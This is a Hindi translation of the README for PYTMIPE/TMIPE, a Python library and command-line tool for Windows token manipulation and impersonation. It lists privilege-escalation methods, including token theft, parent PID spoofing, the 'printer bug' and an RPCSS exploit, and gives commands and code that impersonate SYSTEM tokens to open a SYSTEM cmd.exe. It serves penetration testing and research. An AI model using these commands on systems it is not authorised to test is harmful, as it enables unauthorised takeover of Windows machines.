
विंडोज़ पर विशेषाधिकार वृद्धि के लिए टोकन हेरफेर और प्रतिरूपण हेतु पायथन लाइब्रेरी और क्लाइंट
PYTMIPE (PYthon library for Token Manipulation and Impersonation for Privilege Escalation) एक Python 3 लाइब्रेरी है जो विंडोज टोकन में हेरफेर करने और विंडोज पर अधिक विशेषाधिकार प्राप्त करने के लिए प्रतिरूपण प्रबंधित करने के लिए है। TMIPE python 3 क्लाइंट है जो pytmipe लाइब्रेरी का उपयोग करता है।
स्लाइड्स "Windows Token Manipulation, Impersonation & Privilege Escalation" (अंग्रेज़ी): link
MISC 112 में लेख (फ्रेंच): link
| Method | Required Privilege(s) | OS (no exhaustive) | Direct target (max) |
|---|---|---|---|
| Token creation & impersonation | username & password | All | local administrator |
| Token Impersonation/Theft | SeDebugPrivilege | All | nt authority\system |
| Parent PID spoofing (handle inheritance) | SeDebugPrivilege | >= Vista | nt authority\system |
| Service (SCM) | Local administrator (and high integrity level if UAC enabled) | All | nt authority\system or domain account |
| WMI Event | Local administrator (and high integrity level if UAC enabled) | All | nt authority\system |
| « Printer Bug » LPE | SeImpersonatePrivilege (Service account) | Windows 8.1, 10 & Server 2012R2/2016/2019 | nt authority\system |
| RPCSS Service LPE | SeImpersonatePrivilege (Service account) | Windows 10 & Server 2016/2019 | nt authority\system |
निम्नलिखित गैर-विस्तृत सूची pytmipe लाइब्रेरी में लागू की गई कुछ सुविधाओं को दर्शाती है:
ctypes का अधिकतम उपयोग किया जाता है। pytmipe में pywin32 की कई सुविधाओं को फिर से विकसित किया गया है ताकि बेहतर पोर्टेबिलिटी के लिए pywin32 के उपयोग से बचा जा सके। हालांकि, Task Scheduler मॉड्यूल अभी भी समय की कमी के कारण pywin32 (अधिक सटीक रूप से pythoncom) का उपयोग करता है। अन्य सभी मॉड्यूल केवल ctypes का उपयोग करते हैं।
python क्लाइंट (जिसका नाम tmipe है) के लिए:
python.exe tmipe.py -h
usage: tmipe.py [-h] [--version]
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
...
**
888888 8b d8 88 88""Yb 888888
88 88b d88 88 88__dP 88__
88 88YbdP88 88 88""" 88""
88 88 YY 88 88 88 888888
-------------------------------------------
Token Manipulation, Impersonation and
Privilege Escalation (Tool)
-------------------------------------------
By Quentin HARDY ([email protected])
positional arguments:
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
Choose a main command
cangetadmin Check if user can get admin access
printalltokens Print all tokens accessible from current thread
printalltokensbyname
Print all tokens accessible from current thread by account name
printalltokensbypid Print all tokens accessible from current thread by pid
printsystemtokens Print all system tokens accessible from current
searchimpfirstsystem
search and impersonate first system token
imppid impersonate primary token of selected pid and try to spawn cmd.exe
imptoken impersonate primary or impersonation token of selected pid/handle and try to spawn cmd.exe
printerbug exploit the "printer bug" for getting system shell
rpcss exploit "rpcss" for getting system shell
spoof parent PID Spoofing ("handle inheritance)"
impuser create process with creds with impersonation
runas create process with creds as runas
scm create process with Service Control Manager
optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit
python लाइब्रेरी (जिसका नाम pytmipe है) के लिए, स्रोत कोड और उदाहरण देखें। सामान्यतः, मैंने स्रोत कोड को अच्छी तरह से दस्तावेज़ित किया है... अधिकांश फ़ंक्शन दस्तावेज़ित हैं।
pyinstaller उदाहरणों और स्टैंडअलोन के लिए, src/examples/ फ़ोल्डरों में फ़ाइलें देखें।
यदि आप जानना चाहते हैं कि pytimpe लाइब्रेरी का उपयोग कैसे करें, तो कई उदाहरणों के लिए src/examples फ़ोल्डर देखें।
पहले system टोकन का प्रतिरूपण करने और python क्लाइंट (tmipe) से system के रूप में cmd.exe प्रॉम्प्ट प्राप्त करने के लिए:
python.exe tmipe.py searchimpfirstsystem -vv
pytmipe लाइब्रेरी के माध्यम से वही कार्य करने के लिए, src/examples/searchAndImpersonateFirstSystemToken.py देखें:
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)
यदि वर्तमान विंडोज उपयोगकर्ता के पास आवश्यक अधिकार हैं, तो यह system के रूप में cmd.exe प्रॉम्प्ट खोलेगा।
बेशक, इस स्रोत कोड से, आप pyinstaller के साथ एक स्टैंडअलोन exe बना सकते हैं।
वर्तमान प्रक्रिया में उपयोग किए जाने वाले primary और impersonation टोकन प्राप्त करने के लिए:
python.exe tmipe.py printalltokens --current --full --linked
आउटपुट:
- PID: 3212
------------------------------
- PID: 3212
- type: Primary (1)
- token: 764
- hval: None
- ihandle: None
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-32-544
- Groups:
- S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)
- S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)
- Privileges (User Rights):
- SeAssignPrimaryTokenPrivilege: Enabled
[...]
- SeTrustedCredManAccessPrivilege: Enabled
- issystem: True
- sessionID: 1
- elevationtype: Default (1)
- iselevated: True
- Linked Token: None
- tokensource: b'*SYSTEM*'
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Default DACL:
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}
[...]
- Mandatory Policy: NO_WRITE_UP
वर्तमान थ्रेड से सुलभ सभी टोकन प्राप्त करने के लिए, pid द्वारा व्यवस्थित, जब केवल प्रतिरूपण संभव हो:
python.exe tmipe.py printalltokensbypid --imp-only
आउटपुट:
[...]
- PID 4276:
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- PID 7252:
- None
- PID 1660:
- S-1-5-21-28624056-3392308708-440876048-1106: DOMAIN\USER (possible imp: True)
- S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True)
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True)
- S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True)
[...]
यदि आप यह ऑपरेशन pytmipe लाइब्रेरी के साथ करना चाहते हैं, तो यह भी आसान है:
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)
आप चयनित टोकन का प्रतिरूपण कर सकते हैं।
पहला कदम, अपने फ़िल्टर (system टोकन और टोकन जो वर्तमान थ्रेड द्वारा प्रतिरूपित किए जा सकते हैं) के अनुसार सभी टोकन प्राप्त करें:
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}
आउटपुट:
[...]
- PID: 2288
------------------------------
- PID: 2288
- type: Impersonation (2)
- token: 2504
- ihandle: 118
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-18
- issystem: True
- elevationtype: Default (1)
- iselevated: True
- linkedtoken: None
- implevel: Impersonate (2)
- appcontainertoken: False
[...]
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Mandatory Policy: VALID_MASK
- canimpersonate: True
[...]
यह पिछला आउटपुट pid 2288 (ihandle 118) में स्थित एक impersonation टोकन दिखाता है, जिसका integrity level system है। निम्नलिखित कमांड से इस विशिष्ट टोकन का प्रतिरूपण करना संभव है:
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv
यह पिछला कमांड nt authority\system के रूप में cmd.exe खोलता है।
यह pytmipe लाइब्रेरी के साथ भी किया जा सकता है। निम्नलिखित स्रोत कोड पहले उपलब्ध system टोकन का प्रतिरूपण करता है, प्रभावी टोकन प्रिंट करता है और प्रतिरूपण को समाप्त करता है:
from impersonate import Impersonate
from windef import TokenImpersonation
allTokens = imp.getTokensAccessibleFilter(targetPID=None,
filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},
_useThreadMethod=False)
if allTokens == {} or allTokens==None:
print("No one token found for impersonation")
else:
pid = list(allTokens.keys())[0] #use the first token of the first pid returned in 'allTokens'
firstIHandle = allTokens[pid][0]['ihandle']
imp.printThisToken(allTokens, pid, firstIHandle)
imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)
print("Current Effective token for current thread after impersonation:")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
imp.terminateImpersonation()
print("Current Effective token for current thread (impersonation finished):")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
यदि आप मेरे काम का समर्थन करने के लिए दान करना चाहते हैं, तो मैं बहुत सराहना करूंगा:
BTC के माध्यम से: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf